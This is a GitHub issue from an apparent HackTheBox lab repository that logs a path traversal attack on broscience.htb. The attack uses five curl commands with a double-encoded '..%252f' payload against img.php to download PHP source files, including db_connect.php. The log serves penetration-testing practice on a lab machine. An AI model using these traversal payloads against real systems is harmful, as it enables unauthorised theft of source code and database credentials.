Attack plan #3 - Path traversal #3

Persona --> Jaume Temps --> 27/02/2023 --> 20:00 --> 20:15 Acció --> Utilitzant el path transversal, descarregar tota la documentació disponible al /includes També exemanir el codi dels fitxers descarregats Endpoint --> https://broscience.htb/includes Resultat --> Output:

┌─[jaumellb@jaumellb-virtualbox]─[~]
└──╼ $curl --insecure -o db_connect.php https://broscience.htb/includes/img.php?path=..%252fincludes/db_connect.php
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   337  100   337    0     0   2860      0 --:--:-- --:--:-- --:--:--  2880
┌─[jaumellb@jaumellb-virtualbox]─[~]
└──╼ $curl --insecure -o header.php https://broscience.htb/includes/img.php?path=..%252fincludes/header.php
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   369  100   369    0     0   3045      0 --:--:-- --:--:-- --:--:--  3049
┌─[jaumellb@jaumellb-virtualbox]─[~]
└──╼ $curl --insecure -o img.php https://broscience.htb/includes/img.php?path=..%252fincludes/img.php
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   483  100   483    0     0   3992      0 --:--:-- --:--:-- --:--:--  4025
┌─[jaumellb@jaumellb-virtualbox]─[~]
└──╼ $curl --insecure -o navbar.php https://broscience.htb/includes/img.php?path=..%252fincludes/navbar.php
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1201  100  1201    0     0  10340      0 --:--:-- --:--:-- --:--:-- 10353
┌─[jaumellb@jaumellb-virtualbox]─[~]
└──╼ $curl --insecure -o utils.php https://broscience.htb/includes/img.php?path=..%252fincludes/utils.php
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  3060  100  3060    0     0  23687      0 --:--:-- --:--:-- --:--:-- 23720

AngelMascaro / broscience_htb_hackingoldschool

Attack plan #3 - Path traversal #3 #11